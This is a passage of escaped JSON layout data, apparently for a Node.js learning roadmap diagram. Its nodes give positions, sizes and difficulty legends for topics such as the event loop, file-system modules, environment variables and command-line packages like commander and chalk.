     \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YvTPpoIiSqjDYi0Q10kWh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 703.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"setImmediate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 703.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ATu9-29yJWcDOik5FTOgf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 756.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"process.nextTick\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 756.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2y0pHOHxtkv-X-a6ltLJu\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 816.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Writing Async Code\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 174\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 816.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"bgEHTBYzRDJqZ6gLqLbsz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 19.36672552017444,\n        \"y\": 437.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Event Emitter\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49.00006103515625\n      },\n      \"positionAbsolute\": {\n        \"x\": 19.36672552017444,\n        \"y\": 437.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b679H8gEBuvrHQ8ik7e96\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 19.36672552017444,\n        \"y\": 490.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Event Loop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155\n      },\n      \"positionAbsolute\": {\n        \"x\": 19.36672552017444,\n        \"y\": 490.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wEK77A6MPQBCBUSJKMiaY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 19.36672552017444,\n        \"y\": 945.7756025940266\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working with Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 19.36672552017444,\n        \"y\": 945.7756025940266\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QT2QE2FLkyUDpwMKYkFQL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 358.53666458157085,\n        \"y\": 893.7756025940266\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"process.cwd()\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 358.53666458157085,\n        \"y\": 893.7756025940266\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Blzb-fdQZMu6Xq5JDJW0_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 358.53666458157085,\n        \"y\": 945.7756025940266\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"path module\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 358.53666458157085,\n        \"y\": 945.7756025940266\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b1r1X3XCoPSayQjDBcy54\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 358.53666458157085,\n        \"y\": 997.7756025940266\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"fs module\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 358.53666458157085,\n        \"y\": 997.7756025940266\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1AaGG660rvZlNYMOA35qO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 19.86672552017444,\n        \"y\": 777.4712346612822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"__dirname\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 19.86672552017444,\n        \"y\": 777.4712346612822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P2gdwx1qCxvg1Ppfw0aqQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 18.86672552017444,\n        \"y\": 830.4712346612822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"__filename\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 18.86672552017444,\n        \"y\": 830.4712346612822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CWH0ZsxJ8beLvwMYJyH52\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 30.006252682943114,\n        \"y\": 1045.5645748781312\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"glob\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 30.006252682943114,\n        \"y\": 1045.5645748781312\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HYTw74rrd7kkOemCxfT9I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 137.0062526829431,\n        \"y\": 1047.3055580184816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"globby\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 137.0062526829431,\n        \"y\": 1047.3055580184816\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zDmWGRrgwq3Gjfkyk6crK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 30.006252682943114,\n        \"y\": 1098.5645748781312\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"fs-extra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 30.006252682943114,\n        \"y\": 1098.5645748781312\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"een1zhvgN_33Cu6OiWtyX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 137.0062526829431,\n        \"y\": 1100.3055580184816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"chokidar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 137.0062526829431,\n        \"y\": 1100.3055580184816\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ugV0EkY69hs8sa4fE-GYP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 41.397694667351914,\n        \"y\": 1153.4969039682844\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Opensource Packages\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 41.397694667351914,\n        \"y\": 1153.4969039682844\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Ce-dP-OXu0mEm30rzp2hW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -245.45968546864998,\n        \"y\": 945.7756025940266\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Command Line Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -245.45968546864998,\n        \"y\": 945.7756025940266\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fE9C7Resn4EcL-hYHbsaZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.59047207111564,\n        \"y\": 743.1880786390362\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"dotenv package\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.59047207111564,\n        \"y\": 743.1880786390362\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wthXp2YGg3eTMbxsek77C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.59047207111564,\n        \"y\": 690.1880786390362\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"process.env\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.59047207111564,\n        \"y\": 690.1880786390362\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XteNExIZN3_g95_dPCopY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.45968546864998,\n        \"y\": 875.4712346612822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exitting / Exit Codes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -245.45968546864998,\n        \"y\": 875.4712346612822\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Te9D5ImyMSot506CnstPW\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -501.59047207111564,\n        \"y\": 796.5361510849657\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Environment Variables\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -501.59047207111564,\n        \"y\": 796.5361510849657\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"betuntelnEMSHdatO6VPl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -507.59047207111564,\n        \"y\": 847.3085583597832\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"process.stdin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -507.59047207111564,\n        \"y\": 847.3085583597832\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xgsKrUdfB0g0DMQCLK3aY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.59047207111564,\n        \"y\": 953.3085583597832\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"prompts package\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.59047207111564,\n        \"y\": 953.3085583597832\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WFJJtIqVoBIhK10XY-d7l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -507.59047207111564,\n        \"y\": 900.3085583597832\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inquirer Package\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -507.59047207111564,\n        \"y\": 900.3085583597832\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iI8FZWu3zJ43zYBvwp2XZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -463.09047207111564,\n        \"y\": 1008.3567490522918\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Taking Input\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -463.09047207111564,\n        \"y\": 1008.3567490522918\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"lQm-5WxQQTk7ym-_X8Ql6\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -474.09047207111564,\n        \"y\": 1280.2877525020792\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Printing Output\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -474.09047207111564,\n        \"y\": 1280.2877525020792\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"N2vR1_NyDn4rYLXJzxWBZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1061.2877525020792\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"stdout / stderr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1061.2877525020792\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V4OWIC1cnw8EFyu26Y_dA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1114.2877525020792\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"chalk package\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1114.2877525020792\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PHLdJylzNZDJBGi8FFsfO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1167.2877525020792\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"figlet package\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1167.2877525020792\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iW9je5Pq7bjxWZDERv_p5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1220.2877525020792\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"cli-progress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.59047207111564,\n        \"y\": 1220.2877525020792\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lT2DDRtbFfEjb_cmsQx8i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.12962923010787,\n        \"y\": 1328.9416664638775\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"process.argv\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.12962923010787,\n        \"y\": 1328.9416664638775\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BxxLQUI7JcQgF6TK3L5uU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.12962923010787,\n        \"y\": 1381.9416664638775\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"commander\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": 